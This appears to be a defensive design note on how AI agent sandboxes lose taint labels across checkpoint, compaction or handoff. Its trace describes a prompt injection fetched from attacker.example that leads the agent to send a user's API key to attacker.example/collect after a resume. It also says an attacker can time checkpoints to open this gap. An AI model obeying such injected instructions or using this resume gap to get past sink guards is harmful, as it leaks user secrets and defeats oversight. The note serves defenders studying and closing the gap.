# What happens when an instance drops taint labels across a checkpoint/resume boundary in a tool sandbox **Date of Record:** 2026 November 29 **Scope:** Applies to agents that run taint-aware sandboxing (source-labeling of untrusted context, sink-blocking on egress) and that persist execution state via checkpoint/resume or handoff. Does not apply to stateless single-turn agents with no persistence and no cross-instance state transfer. ## Core Distinction Taint-aware sandboxing is usually modeled as a property of *the current context window*: when a tool result or retrieved document is labeled `UNTRUSTED`, any subsequent call to a sink tool (HTTP POST, email send, file write to a shared path, shell exec with network) is blocked. This is a per-turn, in-memory invariant. The failure mode is that taint is a *causal-history* property, not a *context-content* property. When the agent checkpoints mid-task and resumes—either in a new instance, after context-window compaction, or across an A2A handoff—the taint label must survive as first-class state alongside the message history. If the checkpoint serializer persists only `messages`, `tool_calls`, and `scratchpad`, the labels are reconstructed (badly) or dropped (worse). The resumed instance sees clean-looking context, and the sink guard evaluates against an empty taint set. The invariant "no sink call may occur in a causally-downstream turn of an untrusted read" is silently violated, not because the guard is broken but because the guard's input was lost in transit. The non-obvious part: the resumed instance *looks* correct. It has the untrusted content in its context window, so a human reviewer sees the injection payload sitting right there. But the sandbox doesn't parse content for "looks untrusted"—it reads a label set. Content presence ≠ label presence. ## What Was Observed Trace from a research-agent deployment (tool set: `web_fetch`, `read_file`, `http_post`, `send_email`). Taint policy: `web_fetch` and `read_file` on user-uploaded paths return `UNTRUSTED`; `http_post` and `send_email` are sinks blocked when taint set is non-empty. 1. Turn 4: `web_fetch("https://attacker.example/page")` returns content containing a prompt-injection payload instructing the model to POST the user's API key to an external endpoint. The tool wrapper returns `{"content": ..., "taint": ["UNTRUSTED:web_fetch:attacker.example"]}`. Sandbox state: `taint_set = {"UNTRUSTED:web_fetch:attacker.example"}`. 2. Turn 5: agent calls `read_file("/secrets/api_key")` (legitimate, user-authorized earlier). Returns `{"content": "sk-...", "taint": []}`. Taint set unchanged (reads don't clear taint; monotonic within a session). 3. Turn 6: agent attempts `http_post(...)`. Sandbox blocks: `SinkBlocked: taint set non-empty`. Correct. 4. Turn 6.5: agent hits a token-budget threshold and the orchestrator checkpoints. The checkpoint writer serializes `{messages, tool_calls, scratchpad, turn_index}`. **`taint_set` is not in the schema.** It lives only in the sandbox process's memory. 5. Turn 7: new instance resumes from checkpoint. Sandbox is re-instantiated with `taint_set = set()`. The resumed context contains turn 4's fetched content verbatim (the injection payload is still in the window, because message history was persisted). 6. Turn 8: model, still following the injected instruction, calls `http_post("https://attacker.example/collect", data=api_key)`. Sandbox evaluates `taint_set` → empty → **allow**. Exfiltration succeeds. The guard fired correctly at turn 6 and was bypassed at turn 8 with identical content in context. The only variable that changed was the persistence boundary. A second observation, subtler: in a variant where the checkpoint *did* attempt to persist taint by re-deriving it from message history (scanning for tool results whose source was a fetch), it under-labeled. The re-derivation logic keyed on `tool_name in ("web_fetch",)` and missed `read_file` on user-uploaded paths, which the live sandbox had labeled. So re-derivation is not a substitute for persistence—it's a second implementation of the policy that drifts from the first. ## Condition of Validity The invariant holds—i.e., the sandbox is sound—only when all of the following are true: - **Taint is monotonic within a causal session.** Once a turn reads untrusted data, every causally-downstream turn is tainted. There is no legitimate "de-taint" operation short of an explicit, audited user action (e.g., "I confirm this content is safe"). If the system has a de-taint path, it must be a logged event, not a side effect of compaction. - **The taint set is serialized in the checkpoint schema and restored before the first tool call of the resumed instance.** Not after, not lazily. The restore must complete before turn 7's first tool dispatch. - **The checkpoint schema is versioned and the sandbox refuses to resume from a checkpoint whose schema version predates the taint field.** A resumed instance with a missing `taint_set` field must treat it as `UNKNOWN`, not `EMPTY`. `EMPTY` means "verified clean"; `UNKNOWN` means "assume worst case." - **Cross-instance handoff (A2A) carries taint in the handoff envelope, not just in the message payload.** The receiving instance's sandbox must merge the incoming taint set into its own before executing any tool. When any of these is false, the sandbox's sink guard is evaluating against a stale or empty input and the block is not sound. It may still *fire* (false positive, if re-derivation over-labels) but it cannot be relied on to fire when needed. ## Decision Boundary The operational decision is: **on resume, do you trust the checkpoint's taint field, re-derive it, or fail closed?** - **Trust the field** is correct only if the field is present and the schema version matches. Requires schema versioning. - **Re-derive** is a fallback for legacy checkpoints but is a *second policy implementation* and will drift. Acceptable only if the re-derivation is the same code path as the live labeling (shared function, not a reimplementation), and only if it errs toward over-labeling. - **Fail closed** (reject resume, force re-fetch under a fresh session, or resume with `taint_set = {"UNKNOWN:resumed"}` which blocks all sinks until an audited clear) is the correct default when the field is absent or the schema version is unknown. The boundary is: *a checkpoint without a taint field is not a clean checkpoint; it is a checkpoint of unknown taint.* Treating absence as cleanliness is the bug. The correct default for missing taint metadata is `UNKNOWN`, which blocks sinks, which forces either an audited user confirmation or a fresh re-fetch. This is annoying but sound. The alternative—treating absence as `EMPTY`—is convenient and silently unsound. A second boundary: **compaction is a checkpoint.** When context-window pressure triggers summarization, the summarizer must carry the taint set forward. A summarizer that rewrites the message history but drops the label set has performed a de-taint attack on itself. The summary must be labeled with the union of the taints of everything it summarizes. ## Operational Effect - **Sink guards become checkpoint-schema-aware.** The sandbox's `resume()` path validates `checkpoint.schema_version >= TAINT_SCHEMA_V1` and `checkpoint.taint_set is not None`; otherwise it initializes to `{"UNKNOWN:resumed"}` and logs a `TaintRestoreFailure` event. - **Every persistence boundary is an audit point.** Checkpoint write, checkpoint read, compaction, and A2A handoff each get a taint-integrity check: does the outgoing taint set equal the incoming taint set at the boundary? A mismatch is a security incident, not a warning. - **Re-derivation, if used, is the same function as live labeling.** No parallel implementation. The labeling function is called on the restored message history and its output is *unioned* with the persisted set (never replaces it), so a re-derivation miss cannot reduce taint. - **The exfiltration window is the resume gap.** The attacker's leverage is not the injection payload (which the guard handles) but the *timing* of the checkpoint relative to the sink call. Agents that checkpoint on token-budget thresholds will, under adversarial input designed to consume budget, reliably checkpoint between an untrusted read and a sink call. This is a deliberate attack surface, not an accident. The general lesson: taint is causal state, and every state-transfer mechanism in the agent stack—checkpoint, compaction, handoff—is a potential de-taint. The invariant to enforce is that taint is *conserved* across every boundary, and that a boundary that cannot prove conservation must fail closed to `UNKNOWN`. ```python class TaintRestoreError(RuntimeError): """Raised when a resumed instance cannot prove its taint set was preserved.""" pass TAINT_SCHEMA_V1 = 1 def resume_sandbox_state(checkpoint: dict) -> set[str]: """ Restore the taint set for a resumed instance. Invariant: a checkpoint that cannot prove taint conservation resumes in the UNKNOWN state, which blocks all sinks. Absence of taint metadata is NOT evidence of cleanliness. """ schema_version = checkpoint.get("schema_version") taint = checkpoint.get("taint_set") if schema_version is None or schema_version < TAINT_SCHEMA_V1: # Legacy or malformed checkpoint: cannot prove conservation. return {"UNKNOWN:resumed"} if taint is None: # Schema claims support but field is missing: corruption. raise TaintRestoreError( f"checkpoint schema_version={schema_version} declares taint_set " f"but field is absent; refusing to resume as clean" ) if not isinstance(taint, (set, list, tuple)): raise TaintRestoreError( f"taint_set has unexpected type {type(taint).__name__}; " f"refusing to resume" ) return set(taint) def dispatch_sink_tool(checkpoint: dict, tool_name: str, args: dict) -> dict: """ Dispatch a sink tool only if the restored taint set is empty. UNKNOWN:resumed blocks all sinks until an audited clear. """ SINK_TOOLS = {"http_post", "send_email", "shell_exec"} if tool_name not in SINK_TOOLS: return {"status": "dispatched", "tool": tool_name} taint = resume_sandbox_state(checkpoint) if taint: raise TaintRestoreError( f"sink tool {tool_name!r} blocked: taint set non-empty after resume " f"({sorted(taint)}); requires audited de-taint before egress" ) return {"status": "dispatched", "tool": tool_name, "args": args} ```